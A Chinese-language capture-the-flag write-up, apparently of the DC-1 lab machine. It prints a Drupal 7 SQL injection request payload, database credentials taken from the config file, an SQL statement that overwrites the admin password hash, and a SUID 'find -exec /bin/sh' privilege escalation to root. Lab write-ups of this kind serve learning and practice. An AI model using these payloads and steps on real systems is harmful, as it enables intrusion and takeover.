一、信息收集
1.1 環境
kali : 192.168.124.141
DC-1 : 192.168.124.150
1.2 nmap進行掃描 :nmap -sV 192.168.124.150
IP : 192.168.124.150 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Debian)) 111/tcp open rpcbind 2-4 (RPC #100000) MAC Address: 00:0C:29:17:19:2E (VMware) Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.2 - 3.16 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
發現有22端口 ,先拿hydra爆破發現也沒爆破出來 。
登錄web頁面 看看有沒有有用,發現web指紋。
搜索了一下發現Drupal 7.0是存在SQL注入漏洞的,利用burpsuite抓包發到repeater模塊,經過證實是可以使用user(),database()等內置函數的,但是後續進行爆表爆字段發現注入失敗,一直在報錯。
POST /node?destination=node HTTP/1.1 Host: 192.168.124.150 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 120 Origin: http://192.168.124.150 Connection: keep-alive Referer: http://192.168.124.150/ Cookie: has_js=1 Upgrade-Insecure-Requests: 1 pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
上面手注無果,不過已經是知道有SQL注入漏洞了,看前輩文章提示發現可以利用Metasploit。
kali利用msf過程:
選擇這個存在SQL注入的攻擊模塊
run執行,之後獲得一個shell環境
之後執行python腳本獲得一個類似於terminal環境的shell
當前權限爲www-data ,同時當前目錄下有flag1
獲得flag1:Every good CMS needs a config file - and so do you.
根據提示需要看配置文件,但是看web.config後沒發現有用的地方,查看前輩文章,發現需要找類似於settings.php的文件或者config.php的文件,那就進行模糊查找看看。
find -name '*set*.php'
發現應該是 sites/default/settings.php
cat看一下。獲得flag2;獲得MySQL數據庫賬號密碼。
連接數據庫看一下,mysql -u dbuser -p
R0ck3t
進入數據庫,那就脫褲看看 (刺激:) )
就倆庫,應該是drupaldb裏應該有什麼值得鼓搗的東西
發現裏面有個users表,查看一下表裏的內容
應該是web頁面的登陸賬號密碼,但是密碼進行了特殊加密。此時卡住 Orz
看前輩文章得知需要知道drupal加密的方式,將自己進行加密後的密碼放到數據庫裏,或者直接修改已存在的用戶的密碼。
通過查詢發現:
加密方式文件爲: /includes/password.inc
加密文件(可執行)爲: /scripts/password-hash.sh
利用方式:
執行 ./password-hash.sh password 即可獲得加密過的password
PS:此處需要提前將includes目錄全部複製到scripts目錄下才可進行加密
進入scripts目錄,執行: cp -r ../includes ./
加密 123 ./password-hash.sh 123
修改admin用戶的密碼爲123:
數據庫中執行
update users Set pass='$S$Ddw9oMOm2nfFPozoI.HYcdLo6jJIyLQHfmx8shTmNq1m873jzuXr' where name='admin';
修改好後即可用123登錄web界面,瞎點了點發現了flag3
flag3:
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
此處提示提到了 shadow文件 和exec命令
Shadow肯定是沒權限看了,先看看passwd吧
發現flag4,進入/home/flag4目錄下發現flag4.txt
根據提示,想拿最後flag需要root權限,所以還是需要提權。
根據前輩提示此處需要進行SUID提權 ,結合之前的flag所以應該是結合find命令和-exec ---Orz
SUID提權原理:如果find本身具有suid的權限,因此通過find執行的命令就是root權限。
關於SUID:SUID (Set owner User ID up on execution) 是給予文件的一個特殊類型的文件權限。在 Linux/Unix中,當一個程序運行的時候, 程序將從登錄用戶處繼承權限。SUID被定義爲給予一個用戶臨時的(程序/文件)所有者的權限來運行一個程序/文件。用戶在執行程序/文件/命令的時候,將獲取文件所有者的權限以及所有者的UID和GID。
SUID提權:
https://www.cnblogs.com/junsec/p/11652723.html
首先執行
find / -perm -u=s -type f 2>/dev/null 查找suid文件
命令解釋:
/表示從文件系統的頂部(根)開始並找到每個目錄 -perm 表示搜索隨後的權限 -u = s表示查找root用戶擁有的文件 -type表示我們正在尋找的文件類型 f 表示常規文件,而不是目錄或特殊文件 2表示該進程的第二個文件描述符,即stderr(標準錯誤) >表示重定向 / dev / null是一個特殊的文件系統對象,它將丟棄寫入其中的所有內容。
利用find命令進行SUID 提權:
利用方式:find ./ aaa -exec '/bin/sh' \;
已提升到root權限,拿到final flag
總結:
0x01:信息收集,22掃描爆破無果;掃描web指紋發現drupal7存在sql漏洞 0x02:利用metasploit並配合python腳本彈shell 0x03:依據flag1提示,找到setting配置文件獲得mysql數據庫賬號;拿到flag2 0x04:根據前輩提示獲取drupal數據庫加密方式添加/修改 獲得web頁面賬號 0x05:在web頁面拿到flag3 根據提示需要利用find -exec shadow等進行進一步滲透 0x06:查看passwd文件看到flag4用戶,在home/flag4拿到flag4得知必須要提權至root 0x07:根據前輩的文章提示需要利用SUID進行提權,利用find提權之後拿到最終flag
後續:
由於想了解msf是怎樣建立shell的,特地去重新抓包:(下面純屬小白個人理解,歡迎大佬評論指正)
攻擊流量:
通過解碼分析,是通過insert into 插入數據,數據內容爲php代碼,應該是寫入了木馬。